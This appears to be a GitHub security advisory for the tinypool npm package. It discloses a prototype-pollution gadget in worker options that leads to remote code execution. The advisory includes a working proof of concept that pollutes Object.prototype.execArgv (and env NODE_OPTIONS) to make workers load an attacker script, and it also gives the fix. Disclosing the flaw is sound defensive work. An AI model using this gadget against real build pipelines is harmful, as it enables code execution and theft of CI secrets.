GitHub Advisoryadvisory · npm
GHSA-5gmw-xhrv-c9v3 Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution
CRITICAL
Official page ↗
- Aliases
- CVE-2026-104848
- Ecosystem
- npm
- Packages
- tinypool
- Severity
- Critical
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Weaknesses
- CWE-1321
- Reviewed
- 2026-10-05
Affected packages
• npm tinypool: < 2.1.1 → fixed in 2.1.1
Description
`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`.
Node core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.
Two keys reach code execution:
1. `execArgv` — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script.
2. `env` — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection.
Root cause
`dist/index.js` lines 508-511:
```js
env: this.options.env,
argv: this.options.argv,
execArgv: this.options.execArgv,
resourceLimits: this.options.resourceLimits,
```
`this.options` is built at line 470 via object spread:
```js
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
```
Impact
Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).
Proof of concept
Minimal reproduction (3 files):
worker.mjs — the application's own legitimate worker:
```js
export default function double(n) { return n * 2 }
```
payload.js — attacker-controlled code (never referenced by the app):
```js
const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('* RCE *')
```
app.js — normal tinypool usage:
```js
const path = require('path')
// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]
const { Tinypool } = require('tinypool')
const pool = new Tinypool({
filename: path.join(__dirname, 'worker.mjs'),
minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
console.log('pool returned:', r) // 42 — app works normally
pool.destroy()
})
```
Run:
```
npm i [email protected]
node app.js
cat /tmp/RCE_PROOF.txt # attacker's code ran
```
Both `execArgv` and `env` vectors confirmed on Node 20.
Suggested fix
Resolve worker options with own-property semantics:
```js
this.options = Object.assign(Object.create(null),
kDefaultOptions, options, { filename, maxQueue: 0 });
```
Related
Alias · CVE (1)
- CVE-2026-104848 Tinypool is a minimal Node.js worker thread pool implementation. vulnerability
Weakness · CWE (1)
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness
References
- https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-104848 advisory
- https://github.com/tinylibs/tinypool/pull/134 web
- https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd web
- https://github.com/tinylibs/tinypool package
- https://github.com/tinylibs/tinypool/releases/tag/v2.1.1 web